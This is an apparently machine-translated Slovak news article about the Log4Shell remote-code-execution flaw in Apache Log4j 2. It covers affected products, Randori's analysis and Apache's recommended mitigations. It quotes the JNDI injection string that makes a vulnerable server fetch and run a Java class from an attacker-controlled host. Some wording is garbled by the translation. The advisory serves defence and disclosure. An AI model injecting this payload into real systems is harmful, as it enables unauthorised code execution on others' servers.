Log4Shell, kritická zraniteľnosť v Apache Log4j 2, ktorá ovplyvňuje mnoho projektov Java

Nedávno sVydali správu, že v Apache Log4j 2 bola identifikovaná kritická zraniteľnosť, ktorý je charakterizovaný ako populárny rámec na organizáciu registrov v aplikáciách Java, umožňujúci spustenie ľubovoľného kódu, keď sa do registra zapíše špeciálne naformátovaná hodnota vo formáte „{jndi: URL}“.

Zraniteľnosť Je to pozoruhodné, pretože útok možno vykonať v aplikáciách Java, ktoréZaznamenávajú hodnoty získané z externých zdrojov, napríklad zobrazovaním problematických hodnôt v chybových hláseniach.

Je to pozorované ovplyvnené sú takmer všetky projekty, ktoré používajú rámce ako Apache Struts, Apache Solr, Apache Druid alebo Apache Flink, vrátane klientov a serverov Steam, Apple iCloud, Minecraft.

Očakáva sa, že táto zraniteľnosť povedie k vlne masívnych útokov na podnikové aplikácie, pričom sa zopakuje história kritických zraniteľností v rámci Apache Struts, čo je hrubý odhad používaný v 65 % webových aplikácií Fortune 100. Zoznam webových aplikácií spoločnosti zahŕňala už zaznamenané pokusy o skenovanie siete na zraniteľné systémy.

Zraniteľnosť umožňuje vzdialené spustenie neovereného kódu. Log4j 2 je open source knižnica protokolov Java vyvinutá nadáciou Apache Foundation. Log4j 2 je široko používaný v mnohých aplikáciách a je prítomný ako závislosť v mnohých službách. Patria sem obchodné aplikácie, ako aj početné cloudové služby.

Útočný tím Randori vyvinul funkčný exploit a dokázal úspešne využiť túto zraniteľnosť v zákazníckych prostrediach ako súčasť našej útočnej bezpečnostnej platformy. 

K zraniteľnosti je možné pristupovať prostredníctvom množstva metód špecifických pre aplikáciu. Akýkoľvek scenár, ktorý umožňuje vzdialenému pripojeniu dodávať ľubovoľné údaje, ktoré aplikácia používajúca knižnicu Log4j zapisuje do protokolových súborov, je skutočne náchylný na zneužitie. Táto zraniteľnosť bude s vysokou pravdepodobnosťou zneužitá vo voľnej prírode a pravdepodobne ovplyvní tisíce organizácií. Táto zraniteľnosť predstavuje významné reálne riziko pre postihnuté systémy.

K problému sa pridáva fakt, že už bol zverejnený funkčný exploit, napr.Ale opravy pre stabilné pobočky ešte neboli vygenerované. Identifikátor CVE ešte nebol pridelený. Riešenie je zahrnuté iba v testovacej vetve log4j-2.15.0-rc1. Ako riešenie na zablokovanie tejto chyby zabezpečenia sa odporúča nastaviť parameter Log4j2.formatMsgNoLookups na hodnotu true.

Problém bolo to spôsobené tým, že Log4j 2 podporuje prácu so špeciálnymi maskami «{}» v riadkoch denníka, v ktorom Je možné spustiť dotazy JNDI (Java Naming and Directory Interface).

Pri analýze CVE-2021-44228 Randori určil nasledovné:

Predvolené inštalácie široko používaného podnikového softvéru sú zraniteľné.
Zraniteľnosť môže byť zneužitá spoľahlivo a bez overovania.
Zraniteľnosť ovplyvňuje viacero verzií Log4j 2.
Zraniteľnosť umožňuje vzdialené spustenie kódu, keď používateľ spustí aplikáciu pomocou knižnice.

Útok sa scvrkáva na odovzdanie reťazca so substitúciou "$ {jndi: ldap: //example.com/a}", po spracovaní ktorého Log4j 2 odošle požiadavku LDAP na cestu k triede Java na server útočník.com . Cesta vrátená serverom útočníka (napríklad http://example.com/Exploit.class) bude načítaná a spustená v kontexte aktuálneho procesu, čo umožní útočníkovi dosiahnuť ľubovoľné spustenie kódu v systéme s právami aktuálnej aplikácie.

Nakoniec sa uvádza, že ak sa zistia abnormality, odporúča sa predpokladať, že ide o aktívny incident, že bol napadnutý, a podľa toho reagovať. Inovácia na opravené verzie Log4j 2 alebo ovplyvnené aplikácie túto chybu zabezpečenia odstráni. Randori odporúča každej organizácii, o ktorej si myslí, že by mohla byť ovplyvnená, urýchlene prejsť na opravenú verziu.

V najnovšej aktualizácii od tímu Apache Log4j odporúča organizáciám, aby urobili nasledovné

  • Aktualizácia na Log4j 2.15.0
  • Pre tých, ktorí nemôžu inovovať na verziu 2.15.0: Vo verziách> = 2.10 možno túto zraniteľnosť zmierniť nastavením systémovej vlastnosti log4j2.formatMsgNoLookup alebo premennej prostredia LOG4J_FORMAT_MSG_NO_LOOKUPS na hodnotu true.
  • Pre verzie 2,0-beta9 až 2.10.0 je zmiernením odstránenie triedy JndiLookup z cesty k triede: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

Fuente: https://www.lunasec.io/


Zanechajte svoj komentár

Vaša e-mailová adresa nebude zverejnená. Povinné položky sú označené *

*

*

  1. Zodpovedný za údaje: Miguel Ángel Gatón
  2. Účel údajov: Kontrolný SPAM, správa komentárov.
  3. Legitimácia: Váš súhlas
  4. Oznamovanie údajov: Údaje nebudú poskytnuté tretím stranám, iba ak to vyplýva zo zákona.
  5. Ukladanie dát: Databáza hostená spoločnosťou Occentus Networks (EU)
  6. Práva: Svoje údaje môžete kedykoľvek obmedziť, obnoviť a vymazať.